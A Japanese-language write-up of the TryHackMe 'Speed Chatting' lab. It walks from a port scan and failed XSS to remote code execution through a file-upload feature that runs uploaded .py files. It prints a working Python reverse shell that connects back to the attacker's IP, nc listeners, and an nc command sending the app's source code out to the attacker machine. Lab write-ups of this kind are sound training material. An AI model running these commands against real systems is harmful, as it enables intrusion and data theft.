本稿はTryHackMeにおけるSpeed ChattingのWriteUp記事である。そのためネタバレ注意。
概要

チャット機能および画像アップロード機能を持つWebアプリだけ与えられるので、ここからフラグを奪取する。
攻略の流れ
とりあえずポートスキャンして入れそうなところを探してみる。
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
5000/tcp open http Werkzeug httpd 3.1.5 (Python 3.10.12)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
SSHは認証が必要であり、現時点では有効な認証情報を持っていないため直接侵入は困難と判断した。一方、HTTPサービスは匿名でアクセス可能であるため、Webアプリケーションの挙動を調査することにした。
まずは、チャット機能を利用することを考えた。とりあえずHTMLタグを送信。
エスケープ処理されており、単純なタグ挿入ではXSSは成立しないと判断。早々に画像アップロード機能の利用に切り替える。
- svgファイルを送信して動作可能か検証

プロフィール画像が真っ白になったので、別タブで直接画像を開いて挙動を確認したところ、SVGがそのまま配信されていることを確認した。そこで、スクリプト埋め込みの可否を検証する。
- サーバー側でコードが評価されるか検証
外部通信を行うファイルをアップロードして自分のマシンにリクエストが到達するか確認する。
import requests
requests.get("http://<自分のマシンIP>:1234/test")
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [<自分のマシンIP>] from (UNKNOWN) [10.48.178.135] 58718
GET /test HTTP/1.1
Host: <自分のマシンIP>:1234
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
アップロードしたpyファイルによる外部通信が確認できたことから、サーバー側で任意のPythonコードが実行可能であると判断した。したがって、リモートコード実行(RCE)の成立を前提に、シェルの取得を試みる。
- リバースシェルの送信
以下のファイルをアップロードし、ターゲットマシンから自分のマシンにTCP接続を確立させ、対話的シェルを取得する。
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("<自分のマシンIP>",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh", "-i"])
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [<自分のマシンIP>] from (UNKNOWN) [10.48.178.135] 60162
/bin/sh: 0: can't access tty; job control turned off
#
おしまい。
おまけ:脆弱性の確認
RCEによりシェルを取得できたため、ソースコードapp.pyを取得した。
nc <自分のマシンIP> 1234 < /opt/Speed_Chat/app.py
nc -lvnp 1234 > (自分のマシンに保存するときの名前).py
中を見るとアップロードファイルの拡張子が.pyのときはsubprocess.run()で実行する仕様となっていることがわかる。すなわち、アップロード機能と実行機能が直結しているためにRCEが成立する状態になっていた。
# WHITELIST: Only execute Python files (intentional vulnerability for CTF)
if unique_filename.endswith('.py'):
print(f"[!] Executing Python file: {unique_filename}")
try:
result = subprocess.run(
・・・・・

